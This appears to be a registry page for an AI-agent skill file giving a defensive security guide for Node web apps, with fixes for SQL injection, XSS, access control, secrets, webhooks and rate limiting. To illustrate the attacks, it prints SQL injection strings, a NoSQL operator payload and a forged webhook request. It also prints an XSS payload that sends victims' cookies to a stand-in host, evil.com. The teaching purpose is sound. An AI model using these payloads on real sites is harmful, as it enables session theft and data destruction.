security-hardening
Skill2 starsChanged 5 months agoMITView on GitHub
Complete security guide for indie and vibe-coded web apps — covering SQL injection prevention, input validation, secrets management, webhook signature verification, broken access control, XSS prevention, and rate limiting. Use this skill whenever the user is building anything that stores user data, handles payments, takes user input, calls a database, or exposes an API. Also trigger for phrases like "how do I make this secure", "is this safe", "can this be hacked", "search bar security", "SQL injection", "protect my API",…
- Reads credentials
- Deletes or force-pushes
25 other projects use a version of this.
Adopted by
Most recently taken up by
- valentinesamuel/claude-skillstheir own version, first seen Nov 8, 2026
- Mehul72/skillstheir own version, first seen Nov 8, 2026
- looties-io/looties-skillstheir own version, first seen Nov 1, 2026
- Kin9Zeus/senior-engineer-skillstheir own version, first seen Nov 1, 2026
- DevelopersGlobal/ai-agent-skillstheir own version, first seen Oct 25, 2026
- juanitourquiza/shipframetheir own version, first seen Oct 23, 2026
Used with
Projects with it also use coordinate, incident-response and 9 more.
Other files people use alongside this one.
Files found in the same public projects as a version of this one, more often than they turn up anywhere else. Each project counts once, large collections count for less, and this file's own repository is left out.
swyxioSkillcoordinate
Coordinate focused Luna helpers for bounded work and Astra advisers for difficult design questions while doing the main work yourself.
Also in 3 projects that use this
AnthropicSkillincident-response
Run an incident response workflow — triage, communicate, and write postmortem. Trigger with "we have an incident", "production is down", an alert that needs severity assessment, a status update mid-incident, or when writing a blameless postmortem after resolution.
Also in 5 projects that use this
OpenAISkillobservability
Vercel Observability expert guidance — Drains (logs, traces, speed insights, web analytics), Web Analytics, Speed Insights, runtime logs, custom events, OpenTelemetry integration, and monitoring dashboards. Use when instrumenting, debugging, or optimizing application performance and user experience on Vercel.
Also in 4 projects that use this
GitHubSkillaccessibility-audit
Audits actual components and routes against applicable WCAG 2.2 A/AA criteria using consumer-owned design-system evidence and repository tools. Use when asked for an accessibility audit, a11y check, keyboard or focus review, contrast check, or screen-reader verification.
Also in 3 projects that use this
MicrosoftSkillapi-design
Guide for designing and documenting RESTful APIs. Use when asked to design an API, create endpoints, or document an API.
Also in 5 projects that use this
shanggqmSkilldata-analysis
数据分析技能,提供结构化的数据查询、统计分析和报告生成工作流。当用户需要查询数据库、进行数据统计分析、生成分析报告时使用。按规范输出原始数据、计算结果、Markdown报告和HTML可视化报告。
Also in 3 projects that use this
Other versions25 projects use a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 25
- duyet/clickhouse-monitoring★ 303same name
- DevelopersGlobal/ai-agent-skills★ 216same name
- swyxio/skills★ 194same name
- mn-youssef/security-skills★ 47same name
- wulaosiji/skills★ 28same name
- khuynh22/agent-dev-team★ 9same name
- alexderz/agentic-toolbox★ 5same name
- juanitourquiza/shipframe★ 4same name
- jx1100370217/my-openclaw-skills★ 4same name
- thejordanleopold/claude-code-skills-distilled★ 4same name
15 more not listed
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository9 other files it gives its agents.
The file
We split this skill into the rules it gives an agent
11 rules. 0 are common, 8 are distinctive, and 3 are very specific to this project.
0
Common
Most of the 22 edited versions we read keep these.
8
Distinctive
This author's own choices. Worth a look.
3
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 143
Never put secret API keys in frontend code.
- Distinctive: line 157
When Stripe, GitHub, or any service sends a webhook to your server, anyone can fake that request.
- Distinctive: line 181
Every major service has this — always implement it.
- Distinctive: line 261
Never store plain text passwords.
- Distinctive: line 266
All user input validated with type, length, format checks No user input concatenated into SQL strings — parameterized queries only All …
- Distinctive: line 267
No user input concatenated into SQL strings — parameterized queries only All strings sanitized before storing in DB File uploads: MIME type …
- Distinctive: line 268
All strings sanitized before storing in DB File uploads: MIME type verified, size limited
- Distinctive: line 274
Every resource query scoped to req.user.id Sensitive actions (delete, admin) have additional authorization checks Passwords hashed with …
- Very specific: line 280
All API keys in .env — never in code files .env in .gitignore No secret keys sent to or stored in the frontend config/env.js validates all …
- Very specific: line 282
No secret keys sent to or stored in the frontend config/env.js validates all required vars on startup
- Very specific: line 308
Add helmet() middleware to app.js
“Common” is measured: kept by at least 6 in 10 of the 22 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Complete security guide for indie and vibe-coded web apps — covering SQL injection prevention, input validation, secrets management, webhook signature verification, broken access control, XSS prevention, and rate limiting. Use this skill whenever the user is building anything that stores user data, handles payments, takes user input, calls a database, or exposes an API. Also trigger for phrases like "how do I make this secure", "is this safe", "can this be hacked", "search bar security", "SQL injection", "protect my API", "secure my backend", "should I validate input", "how do I store secrets", "is my webhook safe". This skill should be consulted for EVERY backend feature — security is not optional and AI almost always skips it by default. Always apply these rules before writing any route, controller, or database query.Security Hardening Skill The Core Problem AI optimizes for making code work on the happy path. Attackers never take the happy path. Every piece of user input, every API endpoint, every database query is a potential attack surface. These protections must be explicitly added — AI skips them by default.
Attack 1: SQL Injection (Search Bars, Filters, Any User Input into DB)
What It Is
User types into a search bar. The query goes directly into SQL. The attacker types SQL commands instead of a search term.
Vulnerable code — what AI writes:
javascriptconst query = SELECT * FROM users WHERE name = '${searchInput}'
db.run(query)
What the attacker types:
' OR '1'='1
What the database sees:
sqlSELECT * FROM users WHERE name = '' OR '1'='1'
-- Returns EVERY user in the database
Destruction variant:
'; DROP TABLE users; --
The Fix: Parameterized Queries — Always
javascript// CORRECT — user input is treated as data, never as SQL
const query = SELECT * FROM users WHERE name = ?
db.run(query, [searchInput])
// PostgreSQL syntax const result = await db.query( 'SELECT * FROM users WHERE name = $1', [searchInput] )
// Prisma (automatically parameterized) const users = await prisma.user.findMany({ where: { name: searchInput } }) Rule: Never concatenate user input into a SQL string. Ever. No exceptions. Tell Cursor This
"Use parameterized queries everywhere — never concatenate user input, request parameters, or any external data into SQL strings. Use ? placeholders (MySQL/SQLite) or $1 placeholders (PostgreSQL)."
Attack 2: Input Validation — Never Trust What Comes In What It Is Attackers don't use your frontend. They send raw HTTP requests with whatever data they want. If your backend doesn't validate, they can send:
Negative prices on an order
Someone else's user ID to access their data
A <script> tag in a name field that runs in other browsers (XSS)
A 500MB string that crashes your server
An email field containing SQL
A boolean field containing {"$ne": null} (NoSQL injection)
Validation on Every Input javascript// Using express-validator const { body, param, validationResult } = require('express-validator')
const createProjectRules = [ body('name') .trim() .notEmpty().withMessage('Name is required') .isLength({ max: 100 }).withMessage('Name too long') .escape(), // strips HTML tags — prevents XSS stored in DB
body('description') .optional() .trim() .isLength({ max: 2000 }) .escape(),
body('price') .isFloat({ min: 0 }).withMessage('Price must be positive') ]
async function createProject(req, res) { const errors = validationResult(req) if (!errors.isEmpty()) { return res.status(400).json({ errors: errors.array() }) } // now safe to use req.body } What to Always Validate Input typeWhat to checkStringsLength min/max, allowed characters, trim whitespaceNumbersIs it actually a number? Min/max range? Integer or float?EmailsValid email formatPasswordsMinimum length, complexity if requiredIDsUUID format before hitting DBPrices/amountsPositive number, max ceilingDatesValid date, not in the past if requiredFilesMIME type, file size limitJSON bodySchema validation, reject unknown fields
Attack 3: Broken Access Control (Most Common Vulnerability) What It Is A user requests data that belongs to another user. Your backend returns it because it only checks if the user is logged in — not if they own the resource. Vulnerable code: javascriptasync function getProject(req, res) { const project = await Project.findById(req.params.id) // Gets ANY project by ID — attacker just iterates IDs res.json(project) } Attacker does: bashGET /api/projects/1 GET /api/projects/2 GET /api/projects/3
Gets everyone's projects
The Fix: Always Scope Queries to the Logged-In User javascriptasync function getProject(req, res) { const project = await Project.findById(req.params.id, req.user.id) // Only returns project if it belongs to this user if (!project) return res.status(404).json({ error: 'Not found' }) res.json(project) }
// In the model: async findById(id, userId) { const result = await db.query( 'SELECT * FROM projects WHERE id = $1 AND user_id = $2', [id, userId] // Must match BOTH id and user_id ) return result.rows[0] || null } Rule: Every DB query that returns user data must filter by the logged-in user's ID. Tell Cursor This
"Always scope database queries to req.user.id — never fetch a resource by ID alone. The query must check BOTH the resource ID and user_id to prevent users from accessing each other's data."
Attack 4: Secrets Exposure What AI Does Wrong
Hardcodes API keys in code files Puts database URLs in the codebase Commits .env files to GitHub
GitHub has bots that scan every public push for API keys. They find keys within minutes. Then they use your OpenAI key to generate content, your Stripe key to issue refunds, your DB credentials to dump your database. The Rules bash# .gitignore — always include these .env .env.local .env.production *.pem *.key config/secrets.json javascript// Wrong — hardcoded const stripe = new Stripe('sk_live_abc123hardcoded')
// Wrong — env var accessed directly everywhere const stripe = new Stripe(process.env.STRIPE_SECRET_KEY) // scattered in 8 files
// Right — all secrets through config/env.js const { stripe: stripeKey } = require('../config/env') const stripe = new Stripe(stripeKey) Frontend Secret Rule Never put secret API keys in frontend code. The browser is public. Anyone can see it.
❌ OpenAI key in React component ❌ Stripe secret key in frontend ✅ Stripe publishable key in frontend (designed to be public) ✅ All secret keys in backend only
Tell Cursor This
"All environment variables and secrets go in .env and are loaded through config/env.js. Never hardcode any API key, database URL, or secret in any code file. Never put secret keys in frontend code — only Stripe's publishable key is safe for the browser."
Attack 5: Fake Webhooks What It Is When Stripe, GitHub, or any service sends a webhook to your server, anyone can fake that request. Without verification, a hacker sends: bashPOST /webhooks/stripe {"type": "invoice.payment_succeeded", "data": {"object": {"customer": "cus_abc123"}}}
Your server upgrades the user without them paying
The Fix: Signature Verification javascript// Stripe webhook verification app.post('/webhooks/stripe', express.raw({ type: 'application/json' }), // MUST be raw buffer, not parsed JSON (req, res) => { let event try { event = stripe.webhooks.constructEvent( req.body, // raw buffer req.headers['stripe-signature'], process.env.STRIPE_WEBHOOK_SECRET ) } catch (err) { return res.status(400).json({ error: 'Webhook signature invalid' }) } // Only reaches here if Stripe actually sent it handleEvent(event) res.json({ received: true }) } ) Every major service has this — always implement it.
Attack 6: Mass Assignment What It Is AI writes controllers that spread the entire request body into DB updates. The attacker adds fields the user shouldn't control. Vulnerable code: javascriptasync function updateUser(req, res) { await User.update(req.user.id, req.body) // Attacker sends: { name: "Bob", is_admin: true, plan: "pro" } // All of it goes into the DB } The Fix: Explicit Field Allowlist javascriptasync function updateUser(req, res) { // Only allow specific fields — never spread the whole body const { name, bio, avatar_url } = req.body await User.update(req.user.id, { name, bio, avatar_url }) // Attacker's is_admin field is ignored because it was never destructured }
Attack 7: XSS (Cross-Site Scripting)
What It Is
User submits content with <script> tags. Your app stores it and displays it to other users. The script runs in their browser — stealing their session, redirecting them, or worse.
Name: <script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
The Fixes
On input: Sanitize before storing
javascriptconst { escape } = require('express-validator')
// or
const DOMPurify = require('isomorphic-dompurify')
const clean = DOMPurify.sanitize(userInput)
On output (React): React escapes by default — never use dangerouslySetInnerHTML with user content
HTTP Headers: Add these to every response
javascript// In app.js
const helmet = require('helmet')
app.use(helmet()) // Sets Content-Security-Policy, X-XSS-Protection, and more
Rate Limiting — Protect Money and Resources javascriptconst rateLimit = require('express-rate-limit')
// Strict limit for expensive AI routes — protects your wallet const aiLimit = rateLimit({ windowMs: 60_000, // 1 minute max: 10, message: { error: 'Too many AI requests — please wait a moment' } })
// Auth routes — prevent brute force const authLimit = rateLimit({ windowMs: 15 * 60_000, // 15 minutes max: 5, skipSuccessfulRequests: true, message: { error: 'Too many login attempts — try again in 15 minutes' } })
// General API routes const generalLimit = rateLimit({ windowMs: 60_000, max: 100 })
Password Storage javascriptconst bcrypt = require('bcrypt') const SALT_ROUNDS = 12
// Storing password async function register(email, password) { const hash = await bcrypt.hash(password, SALT_ROUNDS) await User.create({ email, password_hash: hash }) // Never store the plain password }
// Verifying password async function login(email, password) { const user = await User.findByEmail(email) if (!user) return null
const match = await bcrypt.compare(password, user.password_hash) if (!match) return null
return user } Never store plain text passwords. Never log passwords. Never compare passwords with == .
Security Checklist — Apply to Every Feature Input
All user input validated with type, length, format checks No user input concatenated into SQL strings — parameterized queries only All strings sanitized before storing in DB File uploads: MIME type verified, size limited
Auth & Access
Protected routes have requireAuth middleware Every resource query scoped to req.user.id Sensitive actions (delete, admin) have additional authorization checks Passwords hashed with bcrypt before storing
Secrets
All API keys in .env — never in code files .env in .gitignore No secret keys sent to or stored in the frontend config/env.js validates all required vars on startup
Webhooks & External
Webhook signature verified before processing Webhook handler uses raw body buffer, not parsed JSON Price IDs on server only — never trust price from frontend
Infrastructure
Rate limiting per route — stricter on expensive/auth routes helmet middleware applied in app.js CORS configured to allow only your frontend domain
Master Security Prompt for Cursor Paste at the start of any backend session: Security requirements — apply to every endpoint and query:
- Parameterized queries only — never concatenate user input into SQL
- Validate and sanitize all req.body, req.params, req.query inputs before using them
- Scope all DB queries to req.user.id — check user_id in every WHERE clause on user data
- Explicit field allowlists in updates — never spread req.body directly
- Secrets in .env only, loaded through config/env.js — nothing hardcoded
- Webhook handlers verify signature with raw body buffer before processing
- Rate limiting applied per route — AI routes max 10/min, auth routes max 5/15min
- Add helmet() middleware to app.js
- CORS restricted to frontend domain only
- Passwords hashed with bcrypt — never stored plain
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

